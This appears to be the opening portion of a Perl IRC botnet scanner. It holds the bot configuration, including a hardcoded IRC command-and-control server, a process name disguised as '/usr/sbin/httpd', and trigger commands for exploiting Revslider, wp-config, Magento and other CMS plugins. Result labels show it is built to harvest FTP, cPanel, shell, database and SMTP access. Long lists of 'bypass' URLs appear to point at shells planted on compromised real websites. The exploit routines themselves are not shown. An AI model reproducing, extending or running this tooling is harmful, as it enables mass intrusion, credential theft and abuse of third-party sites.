﻿#!/usr/bin/perl
#########################################################################################################
#########################################################################################################
use HTTP::Request;
use HTTP::Request::Common;
use HTTP::Request::Common qw(POST);
use LWP::Simple;
use LWP 5.64;
use LWP::UserAgent;
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
use MIME::Base64;
use URI::Escape;
use Digest::MD5 qw(md5_hex);
use DBI;
#use DBD::mysql;
#########################################################################################################
my $fakeproc  = "/usr/sbin/httpd";                                                                       #
#########################################################################################################
my $timeout   = 10;
my $number    = int(rand(99));
my $rawmsg    = $ARGV[4];
my $msgraw    = $ARGV[5];
my $limitScan = 0;
my $cLimit    = 0;
my $privscan  = 1;
my $gscan     = 1; #---google---#
my $pscan     = 1; #---bypass ---#
my $oscan     = 1; #---others---#
my $pub       = 0; #--- PUB RESULT ---#
my $scrapUrl  = 0;
my $scrapLoc  = 1;
my $logger    = 0;
my $repeat    = 1;
my $injector  = "http://www.stroyinfo.by//media/media/js/feed/readme.php";
my $osKey     = "rhs";
########################################################################################################
my $uagent    = "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6";
my $badsite   = "codecanyon.net|100torrent.com|logs|access_log|google|yahoo|securityaffairs|youtube.com|packetstormsecurity|github|awstats|stackoverflow|archive-cu.com|joomlaforum.ru|stackoverflow.com|archive-ca.com";
my $tld       = "ae|ag|by|bh|bd|bg|bi|cg|ci|dj|dm|eg|ee|et|fj|gi|gl|gt|gg|ht|je|jo|kg|lt|lu|mt|mu|mn|np|nf|om|pa|pn|pr|rw|sm|sc|lk|tj|bs|tt|tm|ug|af|ax|dz|aq|aw|bj|bm|bt|bw|bn|bf|ky|cf|cx|cw|cy|fo|gh|gd|gp|gu|gn|gy|iq|jm|ki|lb|lr|mo|mg|mp|mq|yt|mc|mz|ng|cq|lc|rs|gs|sl|sb|kn|tz|tl|tg|gov|wf|ye";
my $oth       = "seznam|searchnz|biglobe|hotbot|uol|onet|walla|yahoo|dogpile|bing";
#########################################################################################################
#                                BOT CONFIG                                                             #
#########################################################################################################
my %data = (
	server   => "118.97.167.11",
	port     => "6667",
	channel  => "#ukpvt",
	debug    => "#ukpvt",
	nick     => "Demon",
	ident    => "witch",
	fullname => "Fuck You",
	admin    => "solutionz",
    chanKey  => "123",
    debugKey => ""
);
#########################################################################################################
#                                EXPLOIT CMD                                                            #
#########################################################################################################
my %cmd = (
    adsManager    => "!ads",
    jdownloads    => "!jdl",
    myblog        => "!blog",
	wpconfig      => "!wpc",
    revslider     => "!rev",
    magento       => "!mag",
    ninja         => "!ninja",
    cfgcontact    => "!cfg",
);
########################################################################################################
#                                RESULT LOGO                                                           #
########################################################################################################
my $ftplogo    = "4PRIVA5TE FTP";                                                                    #
my $cpanellogo = "11PRIVA10TE CPANEL";                                                               #
my $shellogo   = "15PRIVA14TE SH15ELL";                                                             #
my $dblogo     = "9PRIV3ATE DB";                                                                     #
my $smtplogo   = "12PRIVA2TE SMTP";                                                                  #
########################################################################################################
my $wpclogo    = "8WPCO7NFIG";
my $adslogo    = "8ADSMA7NAGER";
my $jdlogo     = "8JDOWN7LOADS";
my $revlogo    = "8REVS7LIDER";
my $bloglogo   = "8MYB7LOG";
my $maglogo    = "8MAGE7NTO";
my $ninjalogo  = "8NINJA APP7LICATION";
my $cfglogo    = "8CONT7ACTFORM";
#########################################################################################################
#                                SKIN                                                                   #
#########################################################################################################
my %art = (
	front => "   ",
	back  => "   ",
    div   => " ǁ ",
    dot   => " : ",
    circ1 => " ( ",
    circ2 => " ) ",
);
#########################################################################################################
my $sEngine	= "GooGle,GooGleCA,GooGleDE,GooGleUK,GooGleFR,GooGleES,GooGleIT,GooGleNL,GooGleBE,GooGleCH,GooGleSE,GooGleDK,GooGleNO,GooGleNZ,GooGleIE,GooGleBR,GooGleAR,GooGleCO,GooGleCU,GooGleCL,GooGleMX,GooGleAU,GooGleRU,GooGleAT,GooGlePL,GooGleIL,GooGleTR,GooGleUA,GooGleGR,GooGleJP,GooGleCN,GooGleMY,GooGleTH,GooGleIN,GooGleKR,GooGleRO,GooGleTW,GooGleZA,GooGlePT,GooGleID,GooGleKE,GooGleEC,GooGleVN,GooGleZM,GooGlePH,GooGleBY,ae,ar,at,au,by,br,ca,cl,cn,cz,de,dk,es,eu,fr,hu,id,il,in,it,jp,kr,mx,my,nl,ph,pl,ro,ru,th,ua,uk,us,si,be,tv,cc,as,ai,ag,az,bh,bd,bz,bo,ba,vg,bg,bi,co,cd,cg,ck,cr,hr,cu,ci,dj,dm,do,ec,eg,sv,ee,et,fj,fi,gm,gi,gr,gl,gt,gg,ht,hn,hk,is,ie,im,je,jo,kz,ke,ir,vn,kg,lv,ls,ly,li,lt,lu,mw,mt,mu,fm,mn,ms,ma,na,np,nz,ni,nf,no,om,pk,pa,py,pe,pn,pt,pr,qa,rw,sh,sm,sa,sn,sc,sg,sk,za,lk,vc,se,ch,tw,tj,bs,to,tt,tr,tm,vi,ug,uy,uz,ve,vm,zm,ws,af,ax,al,dz,ao,aq,am,aw,ac,bj,bm,bt,bw,io,bn,bf,kh,cm,cv,ky,cf,cx,cw,cy,fk,fo,gh,gd,gp,gu,gn,gy,hm,iq,jm,ki,kw,la,lb,lr,mo,mg,mv,mp,mq,mr,yt,md,mc,me,mz,nr,nc,ng,nu,pw,ps,cq,re,lc,pm,st,rs,gs,sl,sx,sb,so,su,kn,sr,tz,tl,tg,tk,tn,tc,vu,wf,ye,zw,com,net,org,biz,xxx,tel,mil,pro,edu,gov,cat,info,asia,name,jobs,mobi,aero,coop,travel,SeZNam,searchnz,WaLLa,BigLobe,UoL,HotBot,OnEt,dogpile,GoogleCZ,GoogleHU,GoogleID,GooglePH,GoogleSI,GoogleVN,GoogleRS,GoogleSG,GooglePK,GoogleME,GoogleKZ,GoogleAF,GoogleAL,GoogleDZ,GoogleAO,GoogleAM,GoogleAZ,GoogleBH,GoogleBD,GoogleBY,GoogleBT,GoogleBO,GoogleBA,GoogleBG,GoogleBN,GoogleKH,GoogleCM,GoogleCR,GoogleHR,GoogleCU,GoogleCY,GoogleDM,GoogleEC,GoogleEG,GoogleEE,GoogleFI,GoogleGE,GoogleGH,GoogleHN,GoogleHK,GoogleIS,GoogleKE,GoogleKW,GoogleLA,GoogleLV,GoogleLT,GoogleLY,GoogleMK,GoogleMT,GoogleMZ,GoogleNA,GoogleNR,GoogleNP,GoogleNG,GooglePY,GooglePE,GooglePR,GoogleQA,GoogleSA,GoogleSN,GoogleSK,GoogleLK,GoogleTJ,GoogleTZ,GoogleTK,GoogleTO,GoogleTN,GoogleUY,GoogleUZ,GoogleVE,GoogleZM,GoogleUG,GoogleTT,GoogleZW,GoogleAE,GoogleMM,GooGLeCA,GooGLeDE,GooGLeUK,GooGLeFR,GooGLeES,GooGLeIT,GooGLeNL,GooGLeBE,GooGLeCH,GooGLeSE,GooGLeDK,GooGLeNO,GooGLeNZ,GooGLeIE,GooGLeBR,GooGLeAR,GooGLeCO,GooGLeCU,GooGLeCL,GooGLeMX,GooGLeAU,GooGLeRU,GooGLeAT,GooGLePL,GooGLeIL,GooGLeTR,GooGLeUA,GooGLeGR,GooGLeJP,GooGLeCN,GooGLeMY,GooGLeTH,GooGLeIN,GooGLeKR,GooGLeRO,GooGLeTW,GooGLeZA,GooGLePT,KonToL,PePek,TeTek,ItiL,Vagina,NenNen,SuSu,BuahDada,PayuDara,Kentot,eMeL,OraL,Klitoris,Masturbasi,Onani,Sperma,AnaL,Puting,Penis,MeMek,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,AsKCA,AsKDE,AsKIT,AsKFR,AsKES,AsKRU,AsKNL,AsKUK,AsKBR,AsKPL,AsKAU,AsKAT,AsKJP,AsKSE,AsKMX,AsKNO,AsKDK,GoogleORG,GoogleASIA,GoogleGOV,GoogleNET,GoogleXXX,GoogleWS";
my @webproxxxyy = ('https://www.web-proxy.co.uk/',
'http://truthsilo.com/pox/',
'http://tek1systems.com/proxy/',
'http://proxy.feliciani.fr/',
'http://dmburke.com/PHPProcksy/',
'http://prx.afkcz.eu/',
'http://yare.hk/',
'http://bramka.matusik.net/',
'http://mentalworld.in/avatar/',
'http://qartex.com/webproxy/',
'http://www.proxyoutlet.com/',
'http://www.intcomsync.com/subdomain/',
'http://phproxy.herokuapp.com/',
'http://w3ec.com/proxy/',
'https://www.xxlproxy3.com/',
'http://proxy.oddonion.com/',
'http://showvision.info/',
'http://jelajah.internetmerdeka.org/',
'http://0ff.hu/',
'http://proxservices.net/',
'https://www.workingproxy.net/',
'https://www.uk-proxy.org.uk/',
'http://www.proxygratis.es/',
'http://quickproxy.co.uk/',
'https://www.proxybytes.com',
'https://pan.one/proxy/',
'http://stenzo.fr/stenzohide/',
'https://www.webproxy.me.uk/',
'https://www.siteunblocker.co.uk/',
'https://www.openproxy.eu/',
'http://neflip.top/',
'https://www.panyuxin.com/proxy/',
'http://proxy4all.space/',
'http://vts-c.info/proxy/',
'http://www.corcon.com.ru/',
'http://home.iitj.ac.in/~vinod2292/phproxyimproved/',
'http://www.m4star.net/',
'http://iphider.org/',
'http://www.itwtf.com/',
'http://hideips.com/',
'http://www.nithid.com/kaunnee/',
'http://deadpxl.org/bearcalvary/',
'http://mob.beproxy.com/',
'http://max.codefromjames.com/',
'http://www.deadpxl.org/bearcalvary/',
'http://raffsy.me/',
'http://proxy1.proxservices.net/',
'http://proxy10.proxservices.net/',
'http://proxy2017.com/',
'https://www.sslproxy.org.uk/',
'http://www.theprofissional.com/',
'https://www.stealthproxy.co.uk/',
'http://proxy.yupyap.com/',
'https://www.unblockwebsites.co.uk/',
'http://bypass.osiland.com/',
'http://xsurf.nl/',
'http://haywired.ru/n/',
'https://www.justproxy.co.uk/',
'https://www.proxythis.info/',
'http://jien.net/gim/',
'http://web-proxy.party/',
'http://www.unblockwebsite.work/',
'http://www.cliker.com/proxy/',
'http://www.proxyaka.com/',
'http://www.palvue.net/go/',
'http://www.proproxy.me/',
'http://www.masluxor.com/',
'http://www.danyalahmed.com/phproxy/',
'http://www.phproxy.us/',
'http://www.ekzi.com/p/',
'http://fuckgema.net/',
'http://www.proxy.zee18.info/',
'http://proxypaco.com/',
'http://proxy.strawjackal.org/',
'http://www.britishproxy.uk/',
'http://www.proxy2017.com/',
'http://pan.one/proxy/',
'http://zopt.net/empoi/',
'http://daev.goldensurge.com/',
'http://www.odblokuj.115zse.frih.net/',
'http://prox.emobilis.com/',
'http://mihal.is/poxy/',
'http://surfnu.nl/',
'http://samlan.no/test/1/',
'http://wadi.desertfish.be/',
'http://www.endo.gr/endomembers/proxy/nc/',
'http://www.azadios.com/proxy/',
'http://sandro.tsukini.at/',
'http://www1.laubrich.net/',
'http://www.offtopica.com/sap/',
'http://goweb.com.ua/',
'http://www.bbgf.fr/marie/',
'http://proxy.volaware.com/',
'http://www.nichelinohesperia.it/giampy/',
'http://datp.de/proxy2/',
'http://www.testesuainternet.com.br/tsi/proxy/',
'http://panyuxin.com/proxy/',
'http://proxy.fotserv.pl/',
'http://www.faceoxy.com/',
'http://asq1.com/',
'http://www.surf-proxy.de/',
'http://proxy.polach.info/',
'http://www.giantmania.de/',
'http://zz.vespakung.com/',
'http://www.proxy.xmc.pl/',
'http://www54.atpages.jp/jyouhogijyutusya/',
'http://www.xstart.ro/proxy/',
'http://www.janis666.elektrosat.pl/px/',
'http://gamebv.ro/',
'http://www.georgeproxy.co.uk',
'http://phproxy.nfriedly.com',
'http://a7laproxy.racing',
'http://worka.work',
'http://vividproxy.com',
'http://proxy2u.com',
'http://www.hiddenip.club',
'http://newproxy.ninja',
'http://proxy21.proxservices.net',
'http://proxy2.proxservices.net',
'http://proxy16.proxservices.net',
'http://proxy20.proxservices.net',
'http://visiosite.net',
'http://proxy.ske.ind.in',
'http://proxy.filipe.ch',
'http://proxy.unixstorm.org',
'http://unblock-website.top',
'http://pureproxy.net',
'http://unafraid.epbsoft.com',
'http://slovensko.co.uk/proxy',
'http://secured.bot.nu',
'http://www.proxyvolt.info',
'http://www.proxyplus.ru',
'http://proxyplus.ru',
'http://ccgi.marktj.plus.com',
'http://proxy.scorpimen.eu',
'http://www2.dek-sara.com',
'http://browser.siwy.net.pl',
'http://sites.iskandertm.com',
'http://webneel.com',
'http://proxy.gabinhocity.eu',
'http://www.puds.pl',
'http://gachlilit.net',
'http://www.freeproxy.ro',
'http://surfhouse.com.au',
'http://www.relatedfamilies.com',
'http://www.scripts.goingsoft.com/proxy',
'http://chat.iwiin.com',
'http://ccfe.cba.pl',
'http://catportrait.de',
'http://allegro.czest.pl',
'http://praxynew.1eko.com',
'http://p.vyast.com',
'http://meyhenmgh.com',
'http://007.taishet.info',
'http://skinftw.com',
'http://www.ekamali.com',
'http://www.pureproxy.net',
'http://scripts.goingsoft.com/proxy',
'http://proxy.twista.cz',
'http://vevoproxy.top',
'http://fjayss.top',
'http://mofiro.top',
'http://www.smartproxy.info',
'http://www.gbproxy.com',
'http://fermatfibonacci.info',
'http://www.websitesunblocked.com',
'http://www.ecxs.net',
'http://www.proxyunblocknow.com',
'http://beproxy.com',
'http://proxy7.proxservices.net',
'http://proxy.bernex.net',
'http://www.proxypower.co.uk',
'http://www.webproxy.online',
'http://filipo.top',
'http://www.openproxy.eu',
'http://unblockwebsite.work',
'http://www.europeproxy.eu',
'http://www.freeproxy.org.uk',
'http://www.cantseeme.co.uk',
'http://www.proxyunblock.eu',
'http://ronin.gr/anonymous-browsing',
'http://www.schoolproxy.eu',
'http://sfrproxy.top',
'http://www.travelpointer.ro/wp-includes/js/plupload',
'http://www.xxlproxy1.com',
'http://www.xxlproxy2.com',
'http://www.xxlproxy3.com',
'http://www.xxlproxy4.com',
'http://test-alwaysmy.rhcloud.com',
'http://proxy.crystian.net',
'http://proo88.com',
'http://itwtf.net',
'http://www.VividProxy.com',
'http://www.justproxy.co.uk',
'http://www.uleth.ca',
'http://m.showvision.info',
'http://microsoft2.sitemix.jp',
'http://www.xxlproxy.com',
'http://aquaproxy.net',
'http://doriytxer.gq',
'http://71.18.69.108',
'http://www.litecoinproxy.com',
'http://kopites.club',
'http://www.proxy2u.com',
'http://www.ispblocked.com',
'http://pro.hiddenip.club',
'http://www.pumpkinproxy.com',
'http://proxy11.proxservices.net',
'http://www.Xsurf.nl',
'http://www.dependable.proxy4me.com',
'http://www.proxysite.pl',
'http://www.proxypirate.co.uk',
'http://roxy.tibu.fr',
'http://www.bronc.es',
'http://www.wordpressproxy.com',
'http://www.proxy.sx',
'http://www.proxybook.online',
'http://www.SurfNu.nl',
'http://www.proxysite.it',
'http://unblockme.comuf.com',
'http://www.proxyproxy.co.uk',
'http://www.a.dukovany.cz',
'http://www.gamebv.ro',
'http://yule.hp2.jp',
'http://hidemyip.pro',
'http://www.proxygratis.net',
'http://www.yare.hk',
'http://www.online-proxy.nl',
'http://proxy.friendsandco.org',
'http://jobbsurf.mattiasp.se',
'http://www.nearproxy.top',
'http://proxy.pcserv.info');

my @bypass  = ('http://metroway.com/wp-includes/ID3/proxy.php',
'http://www.bigswedestudios.com/errors.php',
'http://re-bel.org/errors.php',
'http://titiprindu.com/errors.php',
'http://www.asesoriajuanar.com/errors.php',
'http://mvtool.com/errors.php',
'http://hopkinspools.com/errors.php',
'http://www.stlukeshometucson.org/errors.php',
'http://www.kathleenferrari.com/errors.php',
'http://www.tcfa1.net/errors.php',
'http://www.nre-electronics.com/includes/XRIS.php',
'http://balfourautobody.com/errors.php',
'http://iheld.com/errors.php',
'http://iheld.com/errors.php',
'http://www.zeffert.com/errors.php',
'http://interminas.ddns.net/errors.php',
'http://www.bendit.co/backside/media/mailto/error.php',
'http://www.thewigmall.com/errors.php',
'http://www.cannell-immobilier.com/errors.php',
'http://www.pebk.de/joomla/components/com_mailto/error.php',
'http://www.pessebristassumpcio.com/wp-includes/error.php',
'http://www.ecomuseudelblat.cat/errors.php',
'http://www.austriasport.nl/wp-includes/errors.php',
'http://treboliberica.com/includes/errors.php',
'http://treboliberica.com/includes/errors.php',
'http://cccjamaica.org/cccj_main/media/mailto/error.php',
'http://www.lesyro.cz/administrator/components/com_media/helpers/errors.php',
'http://dailyfresh.nu/Hotfrog/errors.php',
'http://www.catholicharities.org/errors.php',
'http://exhibcouples.fr/errors.php',
'http://pastorbonus.sk/errors.php',
'http://bikinin.se/errors.php',
'http://iphider.org/index.php',
'http://www.warsztaty.sprzedajlatwo.pl/errors.php',
'http://bohealth.eu/media/com_jantivirus/css/index.php',
'http://pshk.pl/pasieka/miodzimbirem/wp-includes/error.php',
'http://www.thermona-ekb.ru/errors.php',
'http://sufbellman.dk/errors.php',
'http://www.twocanfly.com/errors.php',
'http://w2.portais.atrio.scire.net.br/upe-ppte/components/com_mailto/error.php',
'http://totalfish.hu/errors.php/errors.php',
'http://www.esteticaraffinata.com.br/errors.php',
'http://www.bortolotto.eu/plugins/editors/error.php',
'http://kredus.pl//libraries/joomla/database/XRIS.php',
'http://realestateinvestmentfinance.com.au/errors.php',
'http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php',
'http://rothwellscouts.com/media/mailto/error.php',
'http://rothwellscouts.com/media/mailto/error.php',
'http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php',
'http://australiansuperaudit.com.au/errors.php',
'http://www.myroom-residence.com/errors.php',
'http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php',
'http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php',
'http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php/error.php',
'http://www.weisfeltlintz.nl/wordpress_1/tmp/search.php',
'http://www.ski-freizeit-reisen.de/components/com_mailto/error.php',
'http://politics.cnm.com.pt/errors.php',
'http://circuitec.com.br/errors.php',
'http://www.allcam.org/errors.php',
'http://transplant.org.kw/errors.php',
'http://imotionasia.com.vn/errors.php',
'http://www.thai-orchidea.cz/modules/mod_login/error.php',
'http://www.flowershop-neo.com/wp-includes/error.php',
'http://www.gambinigroup.it/media/mailto/error.php',
'http://fullcirclehealth.today/wp-content/uploads/search.php',
'http://fullcirclehealth.today/wp-content/uploads/search.php',
'http://fullcirclehealth.today/wp-content/uploads/search.php',
'http://www.theatresprives.com/errors.php',
'http://www.gok.gminasiedlce.home.pl/images/XRIS.php',
'http://valentealexvalente.com/alex/wp-includes/error.php',
'http://www.aestheticturkey.com/includes/XRIS.php',
'http://www.amlidersrl.com.ar/error.php',
'http://www.zskaterinky.cz/includes/js/index2.php',
'http://www.telsonet.pl/errors.php',
'http://www.zskaterinky.cz/includes/js/index2.php',
'http://www.nieruchomosci-surzynski.pl/hestia/includes/XRIS.php',
'http://www.zskaterinky.cz/includes/js/index2.php',
'http://www.zskaterinky.cz/includes/js/index2.php',
'http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php',
'http://www.saboeiro.pt/errors.php',
'http://p.istu.ru//components/com_mailto/error.php',
'http://www.evenimentesm.ro/satu-mare/errors.php',
'http://ww2.elsnordic.com/errors.php',
'http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php',
'http://www.sbagro.org.br/modules/mod_login/error.php',
'http://www.orfej.si/components/com_mailto/error.php',
'http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php',
'http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php',
'http://www.fcors.com.br/modules/mod_banners/error.php',
'http://www.aldiyar.kz/errors.php',
'http://www.spicydurban.co.za/errors.php',
'http://secured.bot.nu/index.php',
'http://eventos.unisangil.edu.co/media/media/css/index.php',
'http://eventos.unisangil.edu.co/media/media/css/index.php'
);

#google bypass
my @gbypass = ('http://www.atopsuccess.com//plugins/editors/error.php',
'http://www.atopsuccess.com//plugins/editors/error.php',
'http://bioenfapesp.org/media/mailto/error.php',
'http://bioenfapesp.org/media/mailto/error.php',
'http://bioenfapesp.org/media/mailto/error.php',
'http://www.iestpjasdc.edu.pe/contabilidad/components/com_mailto/error.php',
'http://virtualmacompetition.com//error.php',
'http://virtualmacompetition.com//error.php',
'http://toarabic.net/default.php',
'http://www.tcfa1.net/errors.php',
'http://www.maxicomercio.net/error.php',
'http://www.maxicomercio.net/error.php',
'http://www.tcfa1.net/errors.php',
'http://www.cchm.ca/components/com_mailto/error.php',
'http://www.cchm.ca/components/com_mailto/error.php',
'http://www.thewigmall.com/errors.php',
'http://www.pebk.de/joomla/components/com_mailto/error.php',
'http://www.maxicomercio.net/error.php',
'http://www.pebk.de/joomla/components/com_mailto/error.php',
'http://www.maxicomercio.net/error.php',
'http://www.pebk.de/joomla/components/com_mailto/error.php',
'http://www.pebk.de/joomla/components/com_mailto/error.php',
'http://www.hbauserguide.com/wp-content/themes/error.php',
'http://www.rateavon.je/error.php',
'http://beproxy.com/index.php',
'http://www.cannell-immobilier.com/errors.php',
'http://www.upguatemala.org/components/com_content/models/search.php',
'http://www.upguatemala.org/components/com_content/models/search.php',
'http://www.lesyro.cz/administrator/components/com_media/helpers/errors.php',
'http://www.upguatemala.org/components/com_content/models/search.php',
'http://www.bendit.co/backside/media/mailto/error.php',
'http://www.bendit.co/backside/media/mailto/error.php',
'http://www.photodesign.uncanny.cz/images/error.php',
'http://www.photodesign.uncanny.cz/images/error.php',
'http://www.xibears.com/errors.php',
'http://www.teknettasarim.com/en/errors.php',
'http://www.xibears.com/errors.php',
'http://www.bortolotto.eu/plugins/editors/error.php',
'http://www.bortolotto.eu/plugins/editors/error.php',
'http://hoponhopoff.ge/errors.php',
'http://www.acdt-manutention.fr/errors.php',
'http://www.zskaterinky.cz/includes/js/index2.php',
'http://www.zskaterinky.cz/includes/js/index2.php',
'http://www.zskaterinky.cz/includes/js/index2.php',
'http://mozaika-mira.ru//media/system/js/error.php',
'http://cccjamaica.org/cccj_main/media/mailto/error.php',
'http://themansphere.com/wp-includes/error.php',
'http://www.thermona-ekb.ru/errors.php',
'http://www.thermona-ekb.ru/errors.php',
'http://www.shturmovoi.ru/components/com_mailto/error.php',
'http://www.thermona-ekb.ru/errors.php',
'http://w2.portais.atrio.scire.net.br/upe-ppte/components/com_mailto/error.php',
'http://cccjamaica.org/cccj_main/media/mailto/error.php',
'http://www.shturmovoi.ru/components/com_mailto/error.php',
'http://cccjamaica.org/cccj_main/media/mailto/error.php',
'http://www.ski-freizeit-reisen.de/components/com_mailto/error.php',
'http://v1.admicro.fr/proxy.php',
'http://www.shturmovoi.ru/components/com_mailto/error.php',
'http://scripts.goingsoft.com/proxy/index.php/',
'http://scripts.goingsoft.com/proxy/index.php',
'http://www.ele-eme.com.mx/error.php',
'http://proxyland.ru/index_proxy.php/',
'http://circuitec.com.br/errors.php',
'http://www.ele-eme.com.mx/error.php',
'http://www.asesoriaentesis.com/components/com_mailto/error.php',
'http://rothwellscouts.com/media/mailto/error.php',
'http://www.asesoriaentesis.com/components/com_mailto/error.php',
'http://www.asesoriaentesis.com/components/com_mailto/error.php',
'http://www.taz-nba.net/wp-includes/error.php',
'http://mozaika-mira.ru//media/system/js/error.php',
'http://turkishonline.ru//media/system/js/error.php',
'http://turkishonline.ru//media/system/js/error.php',
'http://turkishonline.ru//media/system/js/error.php',
'http://mozaika-mira.ru//media/system/js/error.php',
'http://www.faceoxy.com/index.php',
'http://www.quorumsocialclub.co.uk/Walks/_derived/search.php',
'http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php',
'http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php',
'http://www.gambinigroup.it/media/mailto/error.php',
'http://www.milos-ipothikofilakio.gr/wp-content/themes/error.php',
'http://imotionasia.com.vn/errors.php',
'http://www.telsonet.pl/errors.php',
'http://www.semneartemis.ro/images/errors.php',
'http://www.esproxy.com/index.php',
'http://thediabetictimes.com/images/phppass.php',
'http://thediabetictimes.com/images/phppass.php/',
'http://p.istu.ru//components/com_mailto/error.php',
'http://www.orfej.si/components/com_mailto/error.php',
'http://www.3freebids.com/error.php',
'http://directproducts.co.zw/errors.php',
'http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php',
'http://www.fcors.com.br/modules/mod_banners/error.php');

#racrew bypass
my @lbypass = ('http://www.atopsuccess.com//plugins/editors/error.php',
'http://bioenfapesp.org/media/mailto/error.php',
'http://metroway.com/wp-includes/ID3/proxy.php',
'http://metroway.com/wp-includes/ID3/proxy.php',
'http://bioenfapesp.org/media/mailto/error.php',
'http://bioenfapesp.org/media/mailto/error.php',
'http://www.yplittleport.org.uk/media/system/config.index.php',
'http://www.yplittleport.org.uk/media/system/config.index.php',
'http://www.iestpjasdc.edu.pe/contabilidad/components/com_mailto/error.php',
'http://www.itwtf.com/index.php',
'http://www.iestpjasdc.edu.pe/contabilidad/components/com_mailto/error.php',
'http://www.cchm.ca/components/com_mailto/error.php',
'http://beproxy.com/index.php',
'http://www.maxicomercio.net/error.php',
'http://www.upguatemala.org/components/com_content/models/search.php',
'http://greenpowerguy.com/blog/wp-content/themes/error.php',
'http://www.upguatemala.org//components/com_content/models/search.php',
'http://www.upguatemala.org/components/com_content/models/search.php',
'http://www.pebk.de/joomla/components/com_mailto/error.php',
'http://www.pebk.de/joomla/components/com_mailto/error.php',
'http://www.upguatemala.org//components/com_content/models/search.php',
'http://www.pebk.de/joomla/components/com_mailto/error.php',
'http://tek1systems.com/proxy/index.php',
'http://www.photodesign.uncanny.cz/images/error.php',
'http://www.zskaterinky.cz/includes/js/index2.php',
'http://www.zskaterinky.cz/includes/js/index2.php',
'http://www.ski-freizeit-reisen.de/components/com_mailto/error.php',
'http://www.photodesign.uncanny.cz/images/error.php',
'http://www.milos-ipothikofilakio.gr/wp-content/themes/error.php',
'http://www.telsonet.pl/errors.php',
'http://v1.admicro.fr/proxy.php',
'http://proxy2017.com/index.php',
'http://cccjamaica.org/cccj_main/media/mailto/error.php',
'http://cccjamaica.org/cccj_main/media/mailto/error.php',
'http://mozaika-mira.ru//media/system/js/error.php',
'http://w2.portais.atrio.scire.net.br/upe-ppte/components/com_mailto/error.php',
'http://p.istu.ru//components/com_mailto/error.php',
'http://bypass.osiland.com/index.php',
'http://therfw.com/wp-includes/error.php',
'http://www.thermona-ekb.ru/errors.php',
'http://www.thermona-ekb.ru/errors.php',
'http://www.fcors.com.br/modules/mod_banners/error.php',
'http://haywired.ru/n/index.php',
'http://www.xsurf.nl/index.php',
'http://www.ikermartinez.com/images/XRIS.php',
'http://www.shturmovoi.ru/components/com_mailto/error.php',
'http://www.shturmovoi.ru/components/com_mailto/error.php',
'http://jobbsurf.mattiasp.se/index.php',
'http://bashtov.net/proxyru/index.php',
'http://www.dysfagi.no/images/stories/class-mail.php',
'http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php',
'http://www.dysfagi.no/images/stories/class-mail.php',
'http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php',
'http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php',
'http://celticdesire.com//components/com_admintools.backup.8125814a31f9f71dc788a351c9ffb5d8/class-mail.php',
'http://www.americancountrys.fr//libraries/joomla/database/XRIS.php',
'http://www.nirmalkutiyajohalan.in//libraries/joomla/database/XRIS.php',
'http://siofokiszallasok.hu/images/XRIS.php',
'http://www.gambinigroup.it/media/mailto/error.php',
'http://www.webandseotools.com/proxy/index.php',
'http://turkishonline.ru//media/system/js/error.php',
'http://vega-books.com/media/media/css/index.php',
'http://turkishonline.ru//media/system/js/error.php',
'http://vega-books.com/media/media/css/index.php',
'http://rosomak.pl/images/XRIS.php',
'http://sufbellman.dk/media/error.php',
'http://www.mondragonlingua.com/formacion/components/com_users/search.php',
'http://www.mondragonlingua.com/formacion/components/com_users/search.php',
'http://imotionasia.com.vn/errors.php',
'http://proxyplus.ru/index1.php',
'http://www.asesoriaentesis.com/components/com_mailto/error.php',
'http://rothwellscouts.com/media/mailto/error.php',
'http://www.asesoriaentesis.com/components/com_mailto/error.php',
'http://www-internet----w-orld--w-ibe--w-eb--inter-nationa--net-netvork.8u.cz/HC_Super-Proxy1/index.php',
'http://www.francescoantonelli.net/wp-content/themes/Widescreen/error.php',
'http://hi.ctust.edu.tw/medicalcontest//components/com_mailto/error.php',
'http://www.hell-man.de/proxy/index.php',
'http://meyhenmgh.com/index.php',
'http://www.fluogas.com/index/media/media/css/index.php',
'http://ivanous.free.fr/camu_s_world/images/stories/jump.php',
'http://ivanous.free.fr/camu_s_world/images/stories/jump.php',
'http://bohealth.eu/media/com_jantivirus/css/index.php',
'http://quadrabrain.com/wp-content/themes/twentytwelve/error.php',
'http://www2.atpages.jp/ggclub/webproxy/index.php',
'http://agricultureinkenya.com//libraries/joomla/database/XRIS.php',
'http://pngk.kz/media/media/css/index.php',
'http://pngk.kz/media/media/css/index.php',
'http://www.orfej.si/components/com_mailto/error.php',
'http://www.100lab.ru//plugins/system/XRIS.php',
'http://www.fastro.nl//libraries/joomla/database/XRIS.php',
'http://www.fluogas.com/index/media/media/css/index.php',
'http://www.petropolis.rj.gov.br/intranet/components/com_mailto/error.php',
'http://fastproxy.tk/index.php'
);

